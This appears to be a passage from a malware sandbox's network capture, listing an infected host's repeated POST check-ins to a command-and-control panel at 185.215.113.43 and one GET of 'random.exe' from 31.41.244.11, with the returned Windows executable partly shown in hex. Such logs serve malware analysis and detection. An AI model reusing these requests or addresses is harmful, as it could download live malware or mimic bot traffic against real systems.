Dec 19, 2024 08:14:23.055310011 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:24.765322924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	50292	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:26.532879114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:27.880839109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	50293	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:29.520739079 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:31.394776106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	50294	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:33.130072117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:34.479420900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	50295	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:36.214991093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:37.571809053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	50296	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:39.322293997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:40.655008078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	50297	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:42.300851107 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:43.646449089 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	50298	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:45.387861967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:46.723480940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	50299	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:48.366307020 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:50.756994963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	50300	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:52.507436991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:53.836730957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	50301	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:55.480528116 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:14:56.818974972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	50302	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:14:58.589471102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:14:59.920618057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	50303	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:01.564230919 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:15:02.919349909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	50304	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:04.676795959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:15:06.009042978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	50305	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:07.650158882 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:15:09.007797956 CET	301	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 66 0d 0a 20 3c 63 3e 31 30 31 37 34 32 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 63 37 61 39 64 35 31 34 33 61 36 35 61 65 30 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f <c>1017429001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	50306	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:09.199558973 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 08:15:10.521616936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:10 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 19, 2024 08:15:10.521641016 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:15:10.521651030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:15:10.521680117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:15:10.521692038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:15:10.521703005 CET	1236	IN	Data Raw: bb b0 e8 25 48 d8 e8 54 62 24 db 18 18 8f 0a ea 11 a8 c4 3a a5 18 d2 54 13 51 6f f9 c6 0e 61 47 fe c3 52 f2 60 cb 07 c0 dd cf 89 a0 a5 34 fc f6 a5 6a 7e 10 f9 e6 c2 d0 25 5e 06 0d 64 47 a1 1c 82 52 9c 42 fd 96 87 7d 7d 1d f0 dc bb 90 07 ec 9c be Data Ascii: %HTb$:TQoaGR`4j~%^dGRB}}<J'4^RBLVI.@wxcO?@vFW]8m\;\|$6=SIQGp<#4aOp?Gz6&]+-On'fU
Dec 19, 2024 08:15:10.521796942 CET	896	IN	Data Raw: f0 7d bc 6b 66 0c a3 ba ea d7 76 f0 8d 42 74 c0 e7 c9 51 1b d9 5c a9 e1 37 50 ee c5 3e 71 9a a5 e5 d7 25 d0 57 ef 04 c0 e9 9b 38 06 0b 21 03 8f 37 9a 03 d7 ec c6 5e a7 07 ab 2d fd 11 64 2a e4 e5 db d6 df 8b 54 5c b2 77 68 68 0d e5 7e 2d f4 c4 54 Data Ascii: }kfvBtQ\7P>q%W8!7^-d*T\whh~-T^quXvXhT.:'7!uI#M8tPpPe%GWsop'9>tMLj?Z:QSUsU>oLy.Lz2X[,p=>EQv
Dec 19, 2024 08:15:10.521889925 CET	1236	IN	Data Raw: 64 80 2c 49 b6 2c 00 d3 d3 65 4e 38 c9 50 06 f7 7b 3d a1 73 f8 5a af 84 37 4e 63 bf 3b ae d1 16 2a 5b e5 10 8c 9e c8 e2 5a d3 70 92 52 42 4d ed 33 56 fc 87 e3 49 15 09 a6 bc ba 95 e9 d1 61 ca 99 36 d0 18 f0 3d be c8 57 2d 96 f7 6a cb 71 db ce 68 Data Ascii: d,I,eN8P{=sZ7Nc;*[ZpRBM3VIa6=W-jqhKp[~qnv,(!#{KSqfst=71[l;}REMqSE<`U5sNl?i%:8uGV^Ov[sjl .
Dec 19, 2024 08:15:10.522008896 CET	1236	IN	Data Raw: ea 23 86 3d bb 86 36 8e 46 42 9a 16 16 5a 2a 28 fb 48 4f 70 c1 a0 62 73 92 13 55 09 b1 05 cc 5d 50 bf 03 e6 db a4 a4 19 29 17 1d 3a ff 2e a0 ca 37 48 46 e8 74 1d fc 55 85 1d 9d e0 15 6c 9e 1a 7a 50 27 26 a2 75 52 40 f5 82 36 12 7c 5a 02 73 36 68 Data Ascii: #=6FBZ(HOpbsU]P):.7HFtUlzP'&uR@6\|Zs6hSx)7ea'4jM#<b^qU-\|*<-raz8af5/)PWh'=+M"6VD%Iuv35R,syrz[1g;d+'\|>h
Dec 19, 2024 08:15:10.522020102 CET	1236	IN	Data Raw: 81 cb dd 55 3c 9f 76 9b 32 55 68 ce 0a 4a 42 fb f2 91 09 91 20 de 51 d8 6b ba 01 2c 68 5a 9b 34 f4 1e af 13 ef 58 fb 73 f7 d1 61 a7 8f 17 bb 0e d0 a5 6d a8 b9 28 93 de 23 61 20 4b 33 e6 21 dc 27 f9 22 c2 a5 37 8b 6f 01 74 c5 34 9b 76 a2 d0 59 b5 Data Ascii: U<v2UhJB Qk,hZ4Xsam(#a K3!'"7ot4vY:cV&xH1;R[@*A;5R;t'>u(Hdh/-'\|h-vgsOz_3&3mt=zq<0=b6t"~fcN1N"=SlH
Dec 19, 2024 08:15:10.642395973 CET	1236	IN	Data Raw: 77 04 55 94 c5 10 3a 04 f4 b5 57 e8 a9 7e 7b a7 3e b8 81 b6 dc ac e8 92 e7 d6 ee 23 01 0b a7 23 df 05 3d 13 3c 43 21 1e f8 d2 91 18 5c 6a f2 c4 bc c8 a7 05 37 b0 47 6c 51 18 f6 ff 9c 21 01 e9 dc 05 e7 42 60 eb 5b 42 6e 38 b8 21 9c cb 66 3b ed d5 Data Ascii: wU:W~{>##=<C!\j7GlQ!B`[Bn8!f;6W{?zKoJ$P}%\JZ64Y5t7eq;5M@w5x2!}Kj>H5n\|l%,hVYilhdjtR9

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	50308	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:16.352560997 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017429001&unit=246122658369
Dec 19, 2024 08:15:17.699286938 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	50310	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:19.453668118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 08:15:20.780767918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	50312	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:15:22.448410034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
